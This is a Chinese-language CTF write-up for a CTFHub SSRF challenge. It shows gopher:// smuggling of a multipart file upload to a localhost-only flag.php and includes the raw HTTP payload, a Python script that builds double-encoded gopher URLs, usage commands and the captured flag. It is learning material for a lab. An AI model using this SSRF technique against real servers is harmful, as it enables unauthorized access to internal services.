一、题目信息
- 平台:CTFHub
- 分类:Skill / Web / SSRF / 文件上传
- 考点:SSRF(服务器端请求伪造)、Gopher 协议、
multipart/form-data报文构造、文件上传
题目场景:存在一个 ?url= 参数,服务器会代为请求用户指定的地址。目标 flag.php 限制仅本地访问,且需要 POST 上传一个非空文件。
二、源码分析
通过 Gopher GET 请求访问 flag.php,拿到源码:
1<?php
2error_reporting(0);
3
4if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
5 echo "Just View From 127.0.0.1";
6 return;
7}
8
9if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
10 echo getenv("CTFHUB");
11 exit;
12}
13?>
关键限制
| 条件 | 说明 |
|---|---|
REMOTE_ADDR != 127.0.0.1 | 外部直接访问被拒绝,必须是本机请求 |
isset($_FILES["file"]) | 必须是文件上传请求(multipart/form-data) |
$_FILES["file"]["size"] > 0 | 上传的文件不能为空 |
三、攻击思路
3.1 绕过本地访问限制
和之前的 POST key 题型一样,利用 SSRF 让服务器自己请求自己:
1攻击者 -> ?url=gopher://127.0.0.1:80/_... -> 服务器代为请求 -> flag.php
此时 $_SERVER["REMOTE_ADDR"] 就是 127.0.0.1,通过第一重验证。
3.2 构造文件上传请求
flag.php 要求的是 POST + multipart/form-data 文件上传,不是普通的 application/x-www-form-urlencoded。
一个标准的文件上传 HTTP 报文:
1POST /flag.php HTTP/1.1
2Host: 127.0.0.1:80
3Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxk
4Content-Length: 192
5
6------WebKitFormBoundary7MA4YWxk
7Content-Disposition: form-data; name="file"; filename="test.txt"
8Content-Type: text/plain
9
10test upload content
11
12------WebKitFormBoundary7MA4YWxk--
关键点:
Content-Type必须包含boundary分隔符Content-Length必须严格等于 body 字节数- 文件字段的
name="file"必须和源码中的$_FILES["file"]匹配 - boundary 的开头和结尾格式有严格要求(开头
--,结尾--)
四、工具化:不再手动构造 Payload
手动构造 multipart/form-data 报文非常容易出错:
- boundary 计算错误
- Content-Length 数错字节
- 换行符
\r\n遗漏 - 双重 URL 编码嵌套搞混
因此我写了一个通用工具 gopher_tool.py,自动化处理这些繁琐工作。
4.1 工具功能
| 功能 | 参数 |
|---|---|
| 自定义 HTTP 方法 | --method POST/GET/PUT |
| 自定义路径 | --path /flag.php |
| 自定义 Header | -H "Key: Value" |
| 自定义 Body | --body "key=value" |
| 文件上传 | -F "file=@filename" |
| 自动双重编码 | 内置 |
| 一键发送请求 | -r |
4.2 核心代码逻辑
1import urllib.parse
2
3def build_multipart_body(fields, files, boundary):
4 """构造 multipart/form-data body"""
5 parts = []
6 for name, value in fields.items():
7 parts.append(f"--{boundary}")
8 parts.append(f'Content-Disposition: form-data; name="{name}"')
9 parts.append("")
10 parts.append(value)
11
12 for name, (filename, content) in files.items():
13 parts.append(f"--{boundary}")
14 parts.append(f'Content-Disposition: form-data; name="{name}"; filename="{filename}"')
15 parts.append(f"Content-Type: text/plain")
16 parts.append("")
17 parts.append(content)
18
19 parts.append(f"--{boundary}--")
20 parts.append("")
21 return "\r\n".join(parts)
22
23def double_encode_gopher(http_payload, host, port):
24 """双重 URL 编码"""
25 gopher = f"gopher://{host}:{port}/_" + urllib.parse.quote(http_payload)
26 return gopher
4.3 使用示例
1python3 gopher_tool.py \
2 -u "http://challenge-xxx.sandbox.ctfhub.com:10800/?url=" \
3 --method POST \
4 --path /flag.php \
5 -F "file=@/tmp/test.txt" \
6 -r
工具自动完成:
- 读取文件内容
- 构造
multipart/form-data报文 - 计算
Content-Length - 双重 URL 编码
- 发送请求并打印响应
五、实战过程
5.1 创建测试文件
1echo "test upload content" > /tmp/ctf_upload.txt
5.2 运行工具
1python3 gopher_tool.py \
2 -u "http://challenge-5c67ee528f2bc03a.sandbox.ctfhub.com:10800/?url=" \
3 --method POST \
4 --path /flag.php \
5 -F "file=@/tmp/ctf_upload.txt" \
6 -r
5.3 输出结果
1============================================================
2[+] 原始 HTTP 报文
3============================================================
4POST /flag.php HTTP/1.1
5Host: 127.0.0.1:80
6Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxk
7Content-Length: 192
8
9------WebKitFormBoundary7MA4YWxk
10Content-Disposition: form-data; name="file"; filename="ctf_upload.txt"
11Content-Type: text/plain
12
13test upload content
14
15------WebKitFormBoundary7MA4YWxk--
16
17
18============================================================
19[+] 最终攻击 URL(双重编码)
20============================================================
21http://challenge-5c67ee528f2bc03a.sandbox.ctfhub.com:10800/?url=gopher%3A%2F%2F...
22
23============================================================
24[+] 发送请求...
25============================================================
26HTTP/1.1 200 OK
27...
28ctfhub{e9ef3ff0014eb9abbe7d0e48}
Flag 到手!
六、踩坑记录
6.1 Content-Length 必须精确
手动计算 multipart/form-data 的 Content-Length 非常容易出错。body 的每一个字节都要算进去,包括:
- 所有
\r\n换行符 - boundary 分隔符
- 文件内容的每一个字符
建议:让脚本自动计算,不要手数。
6.2 boundary 格式
- 开头:
--boundary - 结尾:
--boundary-- - 每个 part 之间用换行分隔
任何一个 -- 漏了或者多了,服务器解析就会失败。
6.3 文件字段名必须匹配
源码中是 $_FILES["file"],所以表单字段的 name 必须是 "file"。
如果写成 -F "upload=@test.txt",服务器收到的是 $_FILES["upload"],条件不满足。
七、总结
| 概念 | 本题中的体现 |
|---|---|
| SSRF | 借用服务端身份访问本地受限资源 |
| Gopher 透传 | 完全控制 TCP payload,发送任意 HTTP 报文 |
| multipart/form-data | 文件上传的标准编码格式,结构复杂 |
| 工具化 | 自动化报文构造和编码,避免手工出错 |
这道题和之前的 POST key 题型相比,唯一的区别就是 body 格式从 urlencoded 变成了 multipart。只要理解了 multipart/form-data 的结构,剩下的编码工作交给工具即可。